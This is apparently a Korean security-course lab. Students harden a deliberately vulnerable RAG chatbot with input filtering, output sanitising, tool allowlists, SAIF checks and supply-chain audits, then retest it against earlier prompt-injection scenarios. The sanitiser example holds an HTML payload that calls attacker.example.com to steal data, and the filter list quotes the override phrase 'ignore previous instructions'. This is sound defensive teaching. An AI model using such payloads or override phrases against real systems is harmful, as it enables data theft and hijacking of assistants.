Lab 9: 캡스톤 2개월차 — 보안 통제 설계와 공급망 보안 점검
이 실습은 12주(3개월) AI 보안 캡스톤 프로젝트의 2개월차입니다. Lab 8: 캡스톤 1개월차 — 취약한 RAG 챗봇 구축과 1차 공격에서 정의한 위험 표면을 바탕으로, 입력/모델/출력/툴 실행 계층별 보안 통제를 설계하고, Google SAIF 관점에서 데이터·모델·저장소·서빙 접근통제를 점검합니다. 이어서 AI 공급망 인벤토리를 작성하고 Lab 7: AI 모델 공급망 보안 점검을 적용한 뒤, 통제를 반영한 v2를 재배포해 1개월차와 동일한 공격 세트로 개선 전/후를 비교합니다. 다음 단계는 Lab 10: 캡스톤 3개월차 — 위협모델링·레드팀 리포트·사고대응입니다.
2개월차의 목표는 “완전히 안전한 시스템"을 만드는 것이 아닙니다. Lab 8에서 발견한 공격 중 일부는 통제를 추가해도 완전히 막히지 않을 수 있습니다. 이번 실습을 마칠 때는 “이 시스템은 안전하다"가 아니라 “이 공격은 완화됐고, 이 공격은 아직 남아있다” 형태로 결과를 정리하는 습관을 들이는 것이 핵심 목표입니다.
목표
- 입력/모델/출력/툴 실행 계층별 통제를 설계하고, Lab 8에서 성공한 공격 3~4종에 대한 방어 논리를 설명한다.
- SAIF 관점(데이터, 프레임워크/코드, 저장, 서빙)에서 접근통제·비밀정보 관리·로그 내 민감정보 노출 여부를 점검하고 체크리스트를 작성한다.
- AI 공급망(모델, 임베딩, 벡터DB, 외부 라이브러리, 문서 수집기) 인벤토리를 작성하고 Lab 7의 점검을 적용해 의존성 위험 1개 이상에 대한 대응책을 작성한다.
- 통제를 반영한 v2를 만들고, Lab 8과 동일한 공격 세트로 개선 전/후 결과를 비교한다.
사전 준비
이 실습은 Lab 8에서 만든 취약한 RAG 챗봇 코드(벡터스토어, 악성 문서, 질의 함수, 도구 실행 함수)를 그대로 이어서 사용합니다. 패키지도 Lab 8 및 Lab 7과 동일합니다.
# Lab 8을 완료했다면 별도 설치는 필요 없습니다.
# 7주차에서 Lab 7을 적용하기 위해 아래 패키지만 추가로 필요할 수 있습니다.
pip install pip-audit cyclonedx-bom단계별 실행
5주차: 프롬프트·출력·권한 통제
| 목표 | 해야 할 일 | 산출물 | 통과 기준 |
|---|---|---|---|
| 계층별 위협-통제 매핑 정리 | 입력/모델/출력/툴 실행 4개 계층에서 Lab 8의 위험을 다시 정리하고, 계층별 통제를 표로 작성 | 계층별 통제 목록 표 | 4개 계층 모두 최소 1개 이상의 구체적 통제와 구현 위치가 적혀 있다 |
| 출력 후처리 구현 | 모델 응답을 그대로 렌더링/실행하지 않고 검증·이스케이프하는 후처리 함수 작성 | sanitize_output() 함수 | 악성 HTML/마크다운 링크가 포함된 응답을 넣었을 때 안전한 형태로 변환됨을 확인 |
| 툴 실행 승인 단계 구현 | Excessive Agency 대응으로 allowlist 검사 + 사용자 확인 단계를 추가 | confirm_and_run_tool() 함수(의사코드) | allowlist 외 명령은 즉시 차단, allowlist 내 명령은 확인 단계를 거쳐야 실행됨 |
| 통제-공격 매핑 | Lab 8의 공격 시나리오 3~4개를 골라 어떤 통제가 어떤 공격을 막는지 매핑 | 통제-공격 매핑 표 | 각 공격 시나리오에 최소 1개 이상의 대응 통제가 매핑되어 있다 |
계층별 통제 목록 템플릿
| 계층 | 위협 | 통제 방법 | 구현 위치 |
|---|---|---|---|
| 입력 계층 | 직접 프롬프트 인젝션(시스템 프롬프트 변경 시도, 역할극 기반 탈옥) | 입력 길이 제한, 의심 패턴(예: “이전 지시를 무시하라”) 키워드 필터링, 사용자 입력과 시스템 프롬프트의 구분자 명시 | RAG 챗봇의 ask() 함수 진입부 |
| 모델 계층 | 시스템 프롬프트 유출, 민감정보(관리자 이메일 등) 응답 포함 | 시스템 프롬프트에 민감정보 직접 포함하지 않기, 별도 비밀정보 저장소 참조로 분리 | 시스템 프롬프트 정의 부분 |
| 출력 계층 | 마크다운/HTML 인젝션(<img onerror>, 피싱 링크), 응답 내 외부 URL 자동 생성 | 출력 후처리에서 HTML 이스케이프, 허용된 도메인 외 링크 제거 또는 텍스트화 | 응답을 사용자/UI에 반환하기 직전 |
| 툴 실행 계층 | Excessive Agency — 모델이 생성한 명령을 검증 없이 그대로 실행 | 실행 가능한 명령 allowlist, 실행 전 사용자 확인(step confirmation), 실행 결과 로깅 | 도구 실행 래퍼 함수 |
| (선택) 검색 계층 | 간접 프롬프트 인젝션 문서가 컨텍스트로 주입됨 | 검색된 문서에 대한 별도 신뢰 표시(예: [문서 내용]과 [지시]를 명확히 분리하는 프롬프트 템플릿) | 컨텍스트 조립(prompt 구성) 함수 |
(a) 출력 후처리 — 모델 응답 검증/이스케이프
import html
import re
# 응답에 포함되어도 되는 외부 링크 도메인만 허용
ALLOWED_LINK_DOMAINS = {"intranet.example.com"}
LINK_PATTERN = re.compile(r"https?://([^\s/]+)[^\s)]*")
def sanitize_output(text: str) -> str:
"""모델 응답을 셸/SQL/HTML로 그대로 전달하기 전에 검증·이스케이프한다."""
# 1. HTML 태그/속성을 이스케이프하여 <img onerror=...> 등이
# 그대로 렌더링되지 않도록 한다.
escaped = html.escape(text)
# 2. allowlist에 없는 도메인으로 향하는 링크는 텍스트로만 남기고
# 클릭 가능한 형태(자동 링크)로 변환되지 않도록 마킹한다.
def _check_link(match: "re.Match") -> str:
domain = match.group(1)
if domain in ALLOWED_LINK_DOMAINS:
return match.group(0)
return f"[차단된 외부 링크: {domain}]"
return LINK_PATTERN.sub(_check_link, escaped)
# 사용 예
raw_response = (
'회의실 예약 안내입니다. <img src=x onerror="fetch(\'https://attacker.example.com/steal\')"> '
"자세한 내용은 https://attacker.example.com/phish 를 참고하세요."
)
print(sanitize_output(raw_response))(b) 툴 실행 전 승인 — allowlist + 사용자 확인
# 의사코드: Excessive Agency 대응 — 모델이 호출하려는 "도구/명령"을
# allowlist로 먼저 걸러내고, 통과한 경우에도 실행 전 사용자 확인을 요구한다.
ALLOWED_TOOLS = {"search_docs", "summarize_text"} # 외부 시스템에 영향을 주지 않는 도구만 허용
def confirm_and_run_tool(tool_name: str, arguments: dict, user_confirm_fn) -> dict:
# 1단계: allowlist 검사 — 목록 외 도구는 즉시 차단
if tool_name not in ALLOWED_TOOLS:
return {"status": "blocked", "reason": f"'{tool_name}'은 허용되지 않은 도구입니다."}
# 2단계: 사용자 확인 — 모델이 자율적으로 실행하지 않고,
# 실행 전에 사람이 의도와 인자를 확인할 기회를 제공
summary = f"도구 '{tool_name}'을 다음 인자로 실행하려 합니다: {arguments}"
if not user_confirm_fn(summary):
return {"status": "cancelled", "reason": "사용자가 실행을 취소했습니다."}
# 3단계: 실행 및 로깅 (실제 실행 로직은 별도 함수로 분리)
result = run_tool_impl(tool_name, arguments)
log_tool_execution(tool_name, arguments, result)
return {"status": "executed", "result": result}통제-공격 매핑 표
Lab 8에서 성공했던 공격 시나리오를 가져와, 5주차에서 추가한 통제 중 무엇이 이를 막는지 매핑합니다.
| Lab 8 공격 시나리오 | 관련 통제 | 기대 효과 |
|---|---|---|
| TC-1: 시스템 프롬프트 유출(간접 인젝션 문서) | 입력 계층 키워드 필터링 + 시스템 프롬프트에서 민감정보 분리 | 인젝션 문구가 검색되어도 시스템 프롬프트 자체에 노출시킬 정보가 없음 |
| TC-2: 대화 요약의 외부 URL 유출 | 출력 계층 링크 allowlist(sanitize_output) | 모델이 생성한 외부 URL이 차단 표시로 대체됨 |
TC-4/TC-5: 마크다운/HTML 인젝션(<img onerror>, 피싱 링크) | 출력 계층 HTML 이스케이프 | <img onerror=...>가 실행 가능한 태그가 아닌 일반 텍스트로 표시됨 |
| (Excessive Agency) 모델이 임의 명령/도구를 실행하도록 유도하는 인젝션 | 툴 실행 계층 allowlist + 사용자 확인 | allowlist 외 도구는 차단, allowlist 내 도구도 사용자 확인 없이는 실행되지 않음 |
6주차: 데이터·모델·저장소 보안 (SAIF 관점)
| 목표 | 해야 할 일 | 산출물 | 통과 기준 |
|---|---|---|---|
| SAIF 4개 영역 점검 | 데이터/프레임워크·코드/저장/서빙 영역별로 RAG 챗봇의 접근통제·비밀정보 관리·로그를 점검 | SAIF 점검 체크리스트 표 | 4개 영역 모두 2개 이상의 점검 항목과 확인 방법, 결과가 채워져 있다 |
| 서빙 계층에 인증/입력검증 적용 | Lab 4의 패턴을 RAG 챗봇 API에 적용 | 적용 결과 메모 (또는 코드 diff) | RAG 질의 엔드포인트가 인증 헤더를 요구하고, 입력 스키마 검증을 수행함을 확인 |
| 로그 내 민감정보 점검 | 챗봇 로그에 시스템 프롬프트, 사용자 질문, API 키 등이 평문으로 남는지 확인 | 로그 점검 결과 기록 | 로그에서 발견된 민감정보 항목과 마스킹/제거 여부가 기록되어 있다 |
SAIF 점검 체크리스트 표
| 영역 | 점검 항목 | 확인 방법 | 결과 |
|---|---|---|---|
| 데이터 | 문서 저장소(원본 문서 디렉터리)의 파일 접근 권한이 필요한 사용자/프로세스로만 제한되어 있는가 | ls -l로 권한 확인, RAG 프로세스 실행 계정과 일치 여부 점검 | (점검 후 기록) |
| 데이터 | 벡터DB(예: FAISS 인덱스 파일)의 접근자가 RAG 애플리케이션 프로세스로 제한되어 있는가 | 인덱스 파일 권한 확인, 인덱스를 직접 로드해 임베딩/원문 추출이 가능한지 테스트 | (점검 후 기록) |
| 프레임워크·코드 | API 키(LLM, 임베딩 서비스 등)가 코드에 하드코딩되지 않고 환경변수/시크릿 관리로 분리되어 있는가 | 코드 전체에서 sk-, API_KEY= 등 패턴 grep | (점검 후 기록) |
| 프레임워크·코드 | 사용 중인 LangChain/임베딩 라이브러리 버전에 알려진 취약점이 있는가 | pip show로 버전 확인 후 7주차 pip-audit 결과와 연계 | (점검 후 기록) |
| 저장 | RAG 챗봇 로그(질의/응답/검색된 문서)에 PII나 시스템 프롬프트 전체가 평문으로 기록되는가 | 로그 파일 샘플을 열어 시스템 프롬프트/사용자 식별 정보 포함 여부 확인 | (점검 후 기록) |
| 저장 | 모델/임베딩 가중치 파일이 평문으로 저장되어 누구나 복사 가능한가 | 파일 권한 확인, Lab 7의 체크섬 기록 여부 확인 | (점검 후 기록) |
| 서빙 | RAG 질의 엔드포인트가 인증(API 키 등) 없이 호출 가능한가 | 인증 헤더 없이 curl 호출 시 401/403 반환 여부 확인 | (점검 후 기록) |
| 서빙 | 잘못된 입력(빈 질의, 과도하게 긴 입력)에 대해 디버그 정보가 노출되는가 | 비정상 입력으로 호출 후 응답에 스택트레이스/내부 경로 포함 여부 확인 | (점검 후 기록) |
Lab 4에서 다룬 인증 헤더 검증, Pydantic 입력 스키마 강제, 디버그 모드 비활성화 패턴을 이 RAG 챗봇의 질의 엔드포인트에도 동일하게 적용합니다. app_secure.py의 X-API-Key 검증과 conlist 기반 입력 검증 구조를 그대로 가져와 질의 요청(question)에 맞게 변형하면 됩니다.
7주차: 공급망과 의존성 검토
| 목표 | 해야 할 일 | 산출물 | 통과 기준 |
|---|---|---|---|
| AI value chain 인벤토리 작성 | RAG 챗봇을 구성하는 모델/임베딩/벡터DB/라이브러리/수집기를 모두 나열하고 출처·위험·대응책 정리 | AI value chain 인벤토리 표 | 5개 이상의 구성요소가 출처/알려진 위험/대응책과 함께 기록되어 있다 |
| Lab 7 적용 | Lab 7의 4단계(pip-audit, SBOM, 체크섬, 모델 카드)를 RAG 챗봇 프로젝트 전체에 대해 실행 | sbom.json, provenance.json, model-card.yaml (RAG 챗봇 버전) | 4개 산출물이 모두 생성되고, 의존성 위험 1개 이상에 대한 대응책이 작성되어 있다 |
AI value chain 인벤토리 템플릿
| 구성요소 유형 | 이름·버전 | 출처 | 알려진 위험 | 대응책 |
|---|---|---|---|---|
| LLM | (예: gpt-4o-mini 또는 로컬 Llama 계열, 버전/태그 명시) | OpenAI API 또는 Ollama 모델 레지스트리 | 모델 자체의 프롬프트 인젝션 취약성, API 키 유출 시 과금/오남용 | API 키를 환경변수로 분리, 사용량 알림 설정, 시스템 프롬프트에 민감정보 미포함 |
| 임베딩 모델 | sentence-transformers/all-MiniLM-L6-v2 | Hugging Face Hub | 모델 카드 미검증 시 의도하지 않은 라이선스/데이터 출처 문제 | 모델 카드 확인, 다운로드 시점 체크섬 기록 |
| 벡터DB | FAISS (로컬 인덱스 파일) | PyPI faiss-cpu 패키지 | 인덱스 파일 직접 접근 시 임베딩/원문 추출 가능 | 인덱스 파일 접근 권한 제한, 6주차 SAIF 점검과 연계 |
| 핵심 라이브러리 | langchain, langchain-community (버전 명시) | PyPI | 빠른 버전 변경, 알려진 CVE 가능성 | pip-audit로 정기 점검, 버전 고정(pin) |
| 문서 수집기 | (예: 사내 위키 크롤러 또는 로컬 파일 로더 스크립트) | 자체 작성 코드 | 외부 데이터 소스를 “신뢰 가능한 컨텍스트"로 취급 → 간접 프롬프트 인젝션 경로 | 수집 시점에 출처 메타데이터 기록, 신뢰도가 낮은 소스는 별도 표시 |
| (선택) 텍스트 분할기 | RecursiveCharacterTextSplitter (langchain 일부) | PyPI(langchain 패키지에 포함) | 핵심 라이브러리와 동일한 의존성 위험에 포함됨 | 핵심 라이브러리 점검에 포함하여 관리 |
이제 Lab 7: AI 모델 공급망 보안 점검을 이 RAG 챗봇 프로젝트에 대해 실행하세요. Lab 7의 4단계를 다시 떠올리면:
pip-audit으로 RAG 챗봇 프로젝트의 의존성(langchain, faiss-cpu, sentence-transformers 등) 취약점을 스캔합니다.cyclonedx-py로 RAG 챗봇 프로젝트 환경의 SBOM(sbom.json)을 생성합니다.- 임베딩 모델 파일/벡터DB 인덱스 파일의 SHA256 체크섬을 계산해
provenance.json에 기록합니다. - 위 정보를 종합해 RAG 챗봇용
model-card.yaml(또는rag-card.yaml)을 작성합니다.
8주차: 개선 버전 재배포 및 비교
| 목표 | 해야 할 일 | 산출물 | 통과 기준 |
|---|---|---|---|
| v2 통합 | 5~7주차에서 설계/적용한 통제를 모두 반영한 RAG 챗봇 v2를 구성 | v2 코드(rag_chatbot_v2.py 등) | v1과 비교해 변경된 영역이 표로 정리되어 있다 |
| 동일 공격 세트 재실행 | Lab 8과 동일한 공격 시나리오(TC-1~TC-5 등)를 v2에 대해 재실행 | 재실행 결과 기록 | 모든 시나리오에 대해 Before/After 판정이 기록되어 있다 |
| 개선 전/후 비교 | Before(Lab 8 v1)와 After(v2)의 결과를 비교 표로 정리 | 개선 전/후 비교 표 | 완전히 막힌 공격/부분 완화/여전히 남은 공격이 구분되어 있다 |
5~7주차 변경사항 요약
| 변경 영역 | Before (Lab 8 v1) | After (v2) |
|---|---|---|
| 입력 처리 | 사용자 입력을 검증 없이 그대로 프롬프트에 삽입 | 길이 제한 + 의심 패턴 필터링 추가 |
| 시스템 프롬프트 | 관리자 이메일 등 민감정보를 시스템 프롬프트에 직접 포함 | 민감정보 제거, 별도 비밀정보 저장소로 분리 |
| 출력 처리 | 모델 응답을 그대로 반환/렌더링 | sanitize_output()으로 HTML 이스케이프 + 링크 allowlist 적용 |
| 툴 실행 | (해당 시) 모델이 제안한 명령/도구를 즉시 실행 | allowlist 검사 + 사용자 확인 단계 추가 |
| 서빙 엔드포인트 | 인증 없음, 입력 스키마 검증 없음 | API 키 인증 + Pydantic 입력 검증 (Lab 4 패턴) |
| 의존성/저장소 | 점검 이력 없음 | pip-audit, sbom.json, provenance.json, model-card.yaml 작성 |
개선 전/후 비교 표 템플릿
Lab 8의 공격 시나리오 ID(TC-1, TC-2, … 형식)를 기준으로 작성합니다.
| 시나리오 ID | Before 판정 (Lab 8 v1) | After 판정 (v2) | 비고 |
|---|---|---|---|
| TC-1 (시스템 프롬프트 유출) | (Lab 8 결과 그대로 옮김) | 완전히 막힘 / 부분 완화 / 여전히 남음 중 택1 | 어떤 통제가 영향을 줬는지 한 줄로 기록 |
| TC-2 (대화 요약 외부 URL 유출) | (Lab 8 결과) | (판정) | |
| TC-3 (인젝션 인식 여부) | (Lab 8 결과) | (판정) | |
| TC-4 (마크다운/HTML 인젝션) | (Lab 8 결과) | (판정) | |
| TC-5 (출력 렌더링 환경 점검) | (Lab 8 결과) | (판정) | |
| (Excessive Agency 시나리오, 있다면) | (Lab 8 결과) | (판정) |
결과 확인
8주차의 개선 전/후 비교 표를 채울 때는 아래 기준으로 판정을 구분하세요.
- 완전히 막힌 공격: v2에서 해당 시나리오를 재실행했을 때, 인젝션 문구나 악성 출력이 응답에 전혀 반영되지 않고 통제(필터링/이스케이프/차단)가 명확히 동작한 경우.
- 부분적으로 완화된 공격: 인젝션 문구가 일부 응답에 영향을 주거나, 통제가 동작했지만 우회 가능한 변형이 존재하는 경우. (예: HTML 이스케이프는 됐지만 텍스트로 노출된 URL은 여전히 사용자가 수동으로 복사해 접속할 수 있음)
- 여전히 남은 공격: v2에서도 동일하게(또는 유사하게) 공격이 성공하는 경우. 이 항목은 Lab 10의 위협모델링/레드팀 리포트에서 우선적으로 다룰 대상으로 표시해 둡니다.
세 범주로 명확히 구분해 기록하는 것이 이번 단계의 핵심입니다. “거의 다 막혔다"처럼 모호한 표현 대신, 시나리오별로 위 세 범주 중 하나를 명시하세요.
체크리스트
- 입력/모델/출력/툴 실행 4개 계층의 통제 목록 표를 작성했다.
-
sanitize_output()함수로 악성 HTML/링크가 안전한 형태로 변환됨을 확인했다. -
confirm_and_run_tool()패턴으로 allowlist 외 도구 차단과 사용자 확인 단계를 구현했다. - Lab 8의 공격 시나리오 3~4개를 통제와 매핑한 표를 작성했다.
- SAIF 4개 영역(데이터/프레임워크·코드/저장/서빙) 체크리스트를 작성하고, Lab 4 패턴을 서빙 계층에 적용했다.
- AI value chain 인벤토리(5개 이상 구성요소)를 작성하고 Lab 7의 4단계(pip-audit, SBOM, 체크섬, 모델 카드)를 RAG 챗봇 프로젝트에 적용했다.
- 5~7주차 변경사항을 v1 대비 v2 요약 표로 정리했다.
- 동일 공격 세트로 v1/v2를 비교하고, 각 시나리오를 “완전히 막힘/부분 완화/여전히 남음"으로 구분해 기록했다.
학습효과
- 계층형 방어(Defense in Depth) 설계: 입력/모델/출력/툴 실행이라는 4개 계층에 각각 독립적인 통제를 배치함으로써, 하나의 통제가 우회되어도 다른 계층에서 공격을 완화할 수 있는 구조를 직접 설계하고 구현합니다.
- SAIF 기반 운영 보안 점검: Google SAIF의 데이터/프레임워크·코드/저장/서빙 관점을 적용해, 모델 자체의 정확성과 무관하게 운영 환경(접근통제, 비밀정보 관리, 로그)에서 발생하는 위험을 체계적으로 점검하는 습관을 갖춥니다.
- “완화"와 “해결"의 구분: 보안 통제를 추가한 뒤에도 모든 공격이 사라지지 않는다는 것을 직접 확인하고, 결과를 “완전히 막힘/부분 완화/여전히 남음"으로 정직하게 기록하는 레드팀/블루팀 보고의 기본 원칙을 익힙니다.